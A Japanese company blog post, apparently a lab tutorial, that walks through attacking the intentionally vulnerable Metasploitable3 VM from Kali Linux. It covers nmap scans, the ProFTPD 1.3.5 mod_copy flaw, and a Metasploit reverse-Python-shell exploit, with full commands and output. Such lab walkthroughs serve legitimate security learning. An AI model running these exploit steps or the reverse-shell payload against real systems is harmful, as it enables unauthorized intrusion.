株式会社ピー・アール・オーのアドベントカレンダー13日目です。
普段はWEB開発メインでやってますが、個人的にセキュリティに興味があって勉強中です。
「セキュリティの考慮って大事だけど、実際どうやって攻撃すんの??というのがわかっていると何かといいですよね(意訳)」というのはよく言われる話ですが、世の中には学習のためのツールがいろいろ揃っているので実際に勉強で使ってみたものをご紹介します。
脆弱性のあるサーバーを立てて攻撃体験
Metasploitable3はあえて脆弱性のある状態で構成された仮想マシンで、これを使って簡単に安全にハッキング体験を行なうことができます。
Metasploitable3はLinuxとWindowsの2種類のマシンが用意されていますが、今回はLinuxマシンから脆弱性を検出して実際に攻撃してみます。
ちなみに、Metasploit3の脆弱性一覧は下記にまとまっています。
https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities
お約束
本記事は不正アクセス等のサイバー攻撃を推奨するものではありません。
ここで紹介する内容を外部の環境に対して行わないでください。
Metasploitable3構築
前提
- Windows 10
- Virtualboxインストール
https://www.virtualbox.org/ - Vagrantインストール
https://www.vagrantup.com/downloads
インストール
github ( https://github.com/rapid7/metasploitable3 ) のQuick Startにしたがってインストールします。
mkdir metasploitable3-workspace
cd metasploitable3-workspace
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile" -OutFile "Vagrantfile"
vagrant up
結構時間がかかるので待ちます(1時間程)。
成功するとVirtualbox上に仮想マシンが2台作成されますが、今回はubuntuの方のみを使用します。
- Metasploitable3-ub1404
- OS: Ubuntu14.04
- metasploitable3-win2k8(※今回は使いません)
- OS: Windows2008
IPアドレスの確認
Metasploit3のIPアドレスはデフォルトで178.28.128.3が設定されています。
Metasploitable3を起動・ログインし、IPアドレスを確認します。
- Username: vagrant
- Password: vagrant
ifconfig
ちなみに、ホストOSのブラウザで下記にアクセスすると、次のようなWEBサイトが開きます。
http://172.28.128.3:8080/continuum
metasploitable3 を攻撃する
Metasploit3を攻撃するために、攻撃側の環境(Kali Linux)を構築します。
kali linuxはペネトレーションテストに用いられるLinuxディストリビューションであり、ハッキングのためのツールがデフォルトでインストールされています。
今回は下記のツールを使用していきますが、各ツールの説明は割愛します。
- Nmap
https://nmap.org/man/ja/index.html - Metasploit
https://www.metasploit.com/
Kali Linuxのインストール
公式ページからイメージをダウンロードしてきます。
https://www.kali.org/downloads/
今回は”Virtual Machines”からVirtualbox用64bitイメージをダウンロードして使用しています。
kali-linux-2021.4-virtualbox-amd64.7z
ダウンロードしたファイルを解凍し、ovaファイルをダブルクリックなどVirtual Boxで開きます。
そのままデフォルトの設定でインポートします。
インポートが完了したら仮想マシンを起動し、ログインする
- Username: kali
- Password: kali
Network設定
Metasploitable3とKali Linuxを同じネットワーク内に存在させます。
Metasploitable3に設定されている仮想LANアダプターをKali Linuxの2つ目のアダプターに設定します。
Metasploitable3のアダプター
Kali Linuxのアダプター
ポートスキャン
ネットワークの設定が終わったら、Kali LinuxからMetasploitable3を調べていきます。
まずは、nmapでどのポートが開いているか、どのようなサービスが動いているかを調査します。
ターゲットのIP取得
-sPオプションをつけると、ポートスキャンをせずにPingスキャンを実行します。
ここでは、ホストオンリーアダプターのネットワーク内で稼働中のIPアドレスを列挙します。
┌──(kali㉿kali)-[~]
└─$ nmap -sn 172.28.128.1/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-12 10:04 EST
Nmap scan report for 172.28.128.3
Host is up (0.0035s latency).
Nmap scan report for 172.28.128.4
Host is up (0.0016s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 16.15 seconds
上で確認したIPアドレス172.28.128.3にアクセスできることがわかります(172.28.128.4はKali Linux自身に設定したIPアドレスです)。
ポート、サービスのバージョン、OSスキャン
次に、Metasploitable3で開いているポート番号と、使用しているサービスのバージョン、OSの種類を調べるため、次のオプションを使用します。
- -sV: 各ポートのサービスのバージョンを検出します。
- -O: ターゲットのOSを特定します。
- -p-: 1番から65535番までのポート番号を対象とします。
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -O -p- 172.28.128.3
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-12 10:27 EST
Nmap scan report for 172.28.128.3
Host is up (0.00084s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3000/tcp closed ppp
3306/tcp open mysql MySQL (unauthorized)
3500/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.8 (2018-10-18))
6697/tcp open irc UnrealIRCd
8080/tcp open http Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:F6:73:09 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: 127.0.1.1, UBUNTU, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.12 seconds
9つのポートが開いており、サービスが動いていることがわかりました。
ProFTPD
脆弱性調査
ポートスキャンで見つかった1番上のサービスProFTPD 1.3.5について、CVE Details( https://www.cvedetails.com/ )やExploit-DB( https://www.exploit-db.com/ )で脆弱性がないか調べてみます。
https://www.cvedetails.com/cve/CVE-2015-3306/
https://www.exploit-db.com/exploits/37262
"mod_copy"というモジュールにリモートコマンド実行の脆弱性があることがわかりました。
ファイルシステムの任意の部分から選択した宛先にファイルをコピーできるため、悪意のあるコードをWebサイトディレクトリにコピーすることにより、リモートコード実行が可能になります。
また、Exploit-DBの検索結果から、Metasploitに攻撃プログラムが存在することもわかりました。
Metasploitの検索機能でも調べることが可能です。
MetasploitのDB初期化を行い、msfconsoleを起動します。
┌──(kali㉿kali)-[~]
└─$ sudo msfdb init
[sudo] password for kali:
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
┌──(kali㉿kali)-[~]
└─$ sudo msfconsole
. .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more
msf6 >
Metasploitデータベースからproftpdに対する攻撃プログラムを検索します。
msf6 > search proftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/misc/netsupport_manager_agent 2011-01-08 average No NetSupport Manager Agent Remote Buffer Overflow
1 exploit/linux/ftp/proftp_sreplace 2006-11-26 great Yes ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2 exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
3 exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
4 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution
5 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No ProFTPD-1.3.3c Backdoor Command Execution
Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor
exploit/unix/ftp/proftpd_modcopy_exec
上記がProPTFD 1.3.5攻撃のモジュールになります。
攻撃する
Metasploitのmsfconsoleを起動した状態でモジュールを選択し、必要なオプションを確認します。
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes HTTP port (TCP)
RPORT_FTP 21 yes FTP port
SITEPATH /var/www yes Absolute writable website path
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to the website
TMPPATH /tmp yes Absolute writable path
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 ProFTPD 1.3.5
RHOSTSとSITEPATHを設定します。
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
利用可能なペイロードを調べます。
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
4 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
5 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
6 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
7 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
8 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
7番目のpayload/cmd/unix/reverse_pythonを設定します。
このペイロードは、攻撃対象のサーバから攻撃サーバで待ち受けているポートに接続し制御を奪うプログラムです。
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set PAYLOAD payload/cmd/unix/reverse_python
PAYLOAD => payload/cmd/unix/reverse_python
unix/ftp/proftpd_modcopy_execを実行します。
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 172.28.128.4:4444
[*] 172.28.128.3:80 - 172.28.128.3:21 - Connected to FTP server
[*] 172.28.128.3:80 - 172.28.128.3:21 - Sending copy commands to FTP server
[*] 172.28.128.3:80 - Executing PHP payload /73jeZo6.php
[*] Command shell session 1 opened (172.28.128.4:4444 -> 172.28.128.3:57590 ) at 2021-12-12 13:09:31 -0500
これで、"73jeZo6.php"という悪意のあるコードがコピー・実行され、Kali Linuxから制御を奪うことができました。
下のコマンドでmetasploitable3-ub1404のマシンにwww-dataユーザーとして入り込めていることがわかります。
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -n
metasploitable3-ub1404
おわりに
今回は以上で終わりますが、まったく触れなかったWindowsサーバも含めMetasploitable3には大量の脆弱性があるので、まだまだやれることはたくさんありそうです。
本当は調べている中で知ったDVWA( https://dvwa.co.uk/ )なんかもいいなと思ったのですが時間の関係で触れず、機会があればそちらもご紹介できればと思います。
参考
https://techblog.securesky-tech.com/entry/2020/12/09/1
https://blog.kawa-xxx.jp/entry/2021/05/08/090000
https://note.com/rsec/n/n2d0eb77c8e77